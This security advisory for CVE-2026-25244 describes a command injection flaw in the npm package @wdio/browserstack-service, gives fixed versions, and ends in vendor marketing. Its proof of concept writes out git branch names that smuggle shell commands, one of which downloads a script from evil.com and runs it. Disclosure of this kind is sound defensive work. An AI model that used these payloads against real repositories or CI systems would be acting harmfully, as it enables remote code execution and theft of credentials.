CVE-2026-25244

CVE-2026-25244 is a critical-severity OS command injection vulnerability in @wdio/browserstack-service (npm), affecting versions <= 9.23.2. It is fixed in 9.24.0.

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.
Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector

  1. Attacker creates a malicious git repository with a branch name containing command injection payload
  2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
  3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name
  4. Branch name is interpolated into shell commands without sanitization
  5. Shell interprets special characters and executes attacker's commands

PoC

Step 1: Create Malicious Repository Branch

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}

Step 3: Run Tests

npm run wdio

Step 4: Verify RCE

# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt

Impact

  • Remote Code Execution on CI/CD servers or developer machines
  • Information Disclosure (environment variables, secrets, credentials)
  • Data Exfiltration (source code, SSH keys, configuration files)
  • System Compromise (backdoor installation, lateral movement)
  • Supply Chain Attack (modify build artifacts)

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-25244 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.24.0); upgrading removes the vulnerable code path.

Affected versions

@wdio/browserstack-service (<= 9.23.2)

Security releases

@wdio/browserstack-service → 9.24.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade @wdio/browserstack-service to 9.24.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-25244? CVE-2026-25244 is a critical-severity OS command injection vulnerability in @wdio/browserstack-service (npm), affecting versions <= 9.23.2. It is fixed in 9.24.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
  2. How severe is CVE-2026-25244? CVE-2026-25244 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @wdio/browserstack-service are affected by CVE-2026-25244? @wdio/browserstack-service (npm) versions <= 9.23.2 is affected.
  4. Is there a fix for CVE-2026-25244? Yes. CVE-2026-25244 is fixed in 9.24.0. Upgrade to this version or later.
  5. Is CVE-2026-25244 exploitable, and should I be worried? Whether CVE-2026-25244 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-25244 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-25244? Upgrade @wdio/browserstack-service to 9.24.0 or later.

Other vulnerabilities in @wdio/browserstack-service

Stop the waste.
Protect your environment with Kodem.